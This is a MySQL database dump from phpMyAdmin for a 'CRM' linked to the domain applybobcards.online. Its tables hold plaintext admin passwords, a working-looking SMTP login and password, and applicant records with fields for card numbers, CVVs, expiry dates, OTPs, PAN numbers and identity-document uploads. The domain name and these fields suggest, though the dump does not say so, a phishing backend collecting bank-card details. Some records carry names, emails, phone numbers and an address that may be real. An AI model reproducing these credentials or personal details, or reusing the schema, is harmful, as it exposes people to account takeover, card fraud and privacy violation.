-- https://www.phpmyadmin.net/
--

START TRANSACTION;



--
-- Database: `diginspire_crm2`
--

-- --------------------------------------------------------

--
-- Table structure for table `admin`
--

CREATE TABLE `admin` (
  `al_id` int NOT NULL,
  `email` varchar(50) NOT NULL,
  `pass` varchar(50) NOT NULL,
  `name` varchar(50) DEFAULT 'Admin',
  `access` varchar(500) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `admin`
--

INSERT INTO `admin` (`al_id`, `email`, `pass`, `name`, `access`) VALUES
(2, 'admin@gmail.com', 'admin123', 'Admin', '[\"Dashboard\",\"Users\",\"Staff\",\"Transaction Logs\",\"Withdrawls\",\"Form Settings\",\"Form Entries\",\"KYC Management\",\"Support\"]');

-- --------------------------------------------------------

--
-- Table structure for table `admin_login1`
--

CREATE TABLE `admin_login1` (
  `id` int NOT NULL,
  `uname` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL,
  `pwd` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `admin_login1`
--

INSERT INTO `admin_login1` (`id`, `uname`, `pwd`) VALUES
(1, 'admin', 'admin');

-- --------------------------------------------------------

--
-- Table structure for table `data`
--

CREATE TABLE `data` (
  `id` int NOT NULL,
  `application_no` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `name` varchar(255) DEFAULT NULL,
  `email` varchar(255) DEFAULT NULL,
  `phone` varchar(20) DEFAULT NULL,
  `pin_code` varchar(10) DEFAULT NULL,
  `dob` varchar(10) DEFAULT NULL,
  `pan` varchar(10) DEFAULT NULL,
  `nationality` varchar(255) DEFAULT NULL,
  `card_no` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `cvv` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `expiry` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `cardholder` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `adhar_file` varchar(255) DEFAULT NULL,
  `pan_file` varchar(255) DEFAULT NULL,
  `cc_file` varchar(255) DEFAULT NULL,
  `cc_2_file` varchar(255) DEFAULT NULL,
  `cc_2_file1` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `cc_file1` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `adhar_file1` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `photo_file` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `cardlimit` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `currentbank` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `entry` datetime(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  `city` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `employment_type` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  `asignee` varchar(255) NOT NULL,
  `unique_id` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `data`
--

INSERT INTO `data` (`id`, `application_no`, `name`, `email`, `phone`, `pin_code`, `dob`, `pan`, `nationality`, `card_no`, `cvv`, `expiry`, `cardholder`, `adhar_file`, `pan_file`, `cc_file`, `cc_2_file`, `cc_2_file1`, `cc_file1`, `adhar_file1`, `photo_file`, `cardlimit`, `currentbank`, `entry`, `city`, `employment_type`, `asignee`, `unique_id`) VALUES
(1, '7109972130614469', 'Aman Anand', 'alla1rakha1@yahoo.com', '9997999615', '251678', '1000-12-11', 'KLJTT6785G', 'Indian', '', '', '', '', './upload/1719047118_667693ce2481b.jpg', './upload/1719047118_667693ce24c60.jpg', './upload/1719047118_667693ce24d38.jpg', '', '', './upload/1719047118_667693ce24e1b.jpg', './upload/1719047118_667693ce24b33.jpg', './upload/1719047118_667693ce24ed8.jpg', NULL, NULL, '2024-06-22 14:30:47.159455', NULL, NULL, 'EMP-64599', 'dvbxdftucwtl');

-- --------------------------------------------------------

--
-- Table structure for table `employees`
--

CREATE TABLE `employees` (
  `employee_id` varchar(20) NOT NULL,
  `name` varchar(100) NOT NULL,
  `email` varchar(100) DEFAULT NULL,
  `address` text,
  `joining_date` date DEFAULT NULL,
  `mobile_number` varchar(15) DEFAULT NULL,
  `reporting_manager` varchar(100) DEFAULT NULL,
  `account_number` varchar(20) DEFAULT NULL,
  `ifsc_code` varchar(20) DEFAULT NULL,
  `bank_name` varchar(100) DEFAULT NULL,
  `bank_address` text,
  `password` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

--
-- Dumping data for table `employees`
--

INSERT INTO `employees` (`employee_id`, `name`, `email`, `address`, `joining_date`, `mobile_number`, `reporting_manager`, `account_number`, `ifsc_code`, `bank_name`, `bank_address`, `password`) VALUES
('EMP-65910', 'JKH', 'alla1rakha1@yahoo.com', 'JJHKJHK', '2022-11-01', '98797', '879797', '879797', '9797987', '797877', '797979', ''),
('EMP-81916', 'Allah Rakha', 'alla1rakha1@yahoo.com', 'A-14 Swastik Nagar Mehrauli', '2000-12-11', '9997999715', 'TJUPG1830J', '98797977', '97879797', '8779879', '979797', '');

-- --------------------------------------------------------

--
-- Table structure for table `outgoing_server`
--

CREATE TABLE `outgoing_server` (
  `id` int NOT NULL,
  `outgoing_server` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  `port` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

--
-- Dumping data for table `outgoing_server`
--

INSERT INTO `outgoing_server` (`id`, `outgoing_server`, `email`, `password`, `port`) VALUES
(1, 'applybobcards.online', 'apply@applybobcards.online', 'z70nQSyYdK7V', 587);

-- --------------------------------------------------------

--
-- Table structure for table `support_user`
--

CREATE TABLE `support_user` (
  `id` int NOT NULL,
  `subject` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
  `message` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci,
  `reply` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci,
  `user_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int NOT NULL,
  `unique_id` varchar(25) NOT NULL,
  `amount` decimal(10,2) NOT NULL DEFAULT '2.00',
  `name` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `phone` varchar(15) NOT NULL,
  `status` varchar(255) NOT NULL,
  `expirytime` varchar(255) NOT NULL,
  `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `appno` varchar(255) NOT NULL,
  `pan` varchar(20) DEFAULT NULL,
  `salary_or_self_employed` varchar(50) DEFAULT NULL,
  `ctc_or_turnover` varchar(50) DEFAULT NULL,
  `nature_of_business_or_name` varchar(100) DEFAULT NULL,
  `current_location` varchar(100) DEFAULT NULL,
  `years_of_working` varchar(255) DEFAULT NULL,
  `cc_with_other_banks` varchar(100) DEFAULT NULL,
  `any_other_loan` varchar(100) DEFAULT NULL,
  `any_emi_break` varchar(100) DEFAULT NULL,
  `communication_address` text,
  `landmark` varchar(100) DEFAULT NULL,
  `state` varchar(50) DEFAULT NULL,
  `pin` varchar(10) DEFAULT NULL,
  `utr_number` varchar(50) DEFAULT NULL,
  `card_number` varchar(20) DEFAULT NULL,
  `cardholder` varchar(255) DEFAULT NULL,
  `cvv` varchar(5) DEFAULT NULL,
  `expiry_date` varchar(10) DEFAULT NULL,
  `asignee` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
  `otp` varchar(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `unique_id`, `amount`, `name`, `email`, `phone`, `status`, `expirytime`, `date_created`, `appno`, `pan`, `salary_or_self_employed`, `ctc_or_turnover`, `nature_of_business_or_name`, `current_location`, `years_of_working`, `cc_with_other_banks`, `any_other_loan`, `any_emi_break`, `communication_address`, `landmark`, `state`, `pin`, `utr_number`, `card_number`, `cardholder`, `cvv`, `expiry_date`, `asignee`, `otp`) VALUES
(1, 'mjimrscpqjyc', 2.00, 'Vaibhav', 'info@diginspire.co', '1234567890', 'Error', '500', '2024-05-05 17:09:24', '4151214421545', 'ABCD12345D', '2', '323', '13', '1', '2132', '1321', '32132', '132', '132', '1321sdfs', '121', '12455', '4541212121', '2131112112212121', 'Test', '1232', '11-2445', 'EMP-60351', '1123'),
(2, 'pqeievbjxwkx', 2.00, 'Akash', 'akash@gmail.cokm', '454454124576', 'Error', '5', '2024-05-05 17:09:24', '1121245421', 'ABCD44541fdd', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'EMP-60351', NULL),
(3, 'ugwcrpxyqihs', 2.00, 'Test', 'test@gmail.com', '2165465434', 'Test', '542', '2024-05-05 17:09:24', '45484554', 'TAHJD548545F', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'EMP-60351', NULL),
(4, 'azlnuplalaxe', 2.00, '', '', '', '', '', '2024-05-09 13:37:23', '', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL),
(5, 'sighfralpzlw', 2.00, 'John Doe', 'johndoe@example.com', '1234567890', 'Active', '2024-12-31', '2024-05-09 13:37:23', 'APP123456', 'ABCDE1234F', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL),
(6, 'pkglepgzlrya', 2.00, 'Jane Smith', 'janesmith@example.com', '0987654321', 'Inactive', '2024-10-15', '2024-05-09 13:37:23', 'APP987654', 'PQRST5678G', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

--
-- Indexes for dumped tables
--

--
-- Indexes for table `admin`
--
ALTER TABLE `admin`
  ADD PRIMARY KEY (`al_id`);

--
-- Indexes for table `admin_login1`
--
ALTER TABLE `admin_login1`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `data`
--
ALTER TABLE `data`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `employees`
--
ALTER TABLE `employees`
  ADD PRIMARY KEY (`employee_id`);

--
-- Indexes for table `outgoing_server`
--
ALTER TABLE `outgoing_server`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `support_user`
--
ALTER TABLE `support_user`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `unique_id` (`unique_id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `admin`
--
ALTER TABLE `admin`
  MODIFY `al_id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13;

--
-- AUTO_INCREMENT for table `admin_login1`
--
ALTER TABLE `admin_login1`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `data`
--
ALTER TABLE `data`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `outgoing_server`
--
ALTER TABLE `outgoing_server`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `support_user`
--
ALTER TABLE `support_user`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;
COMMIT;

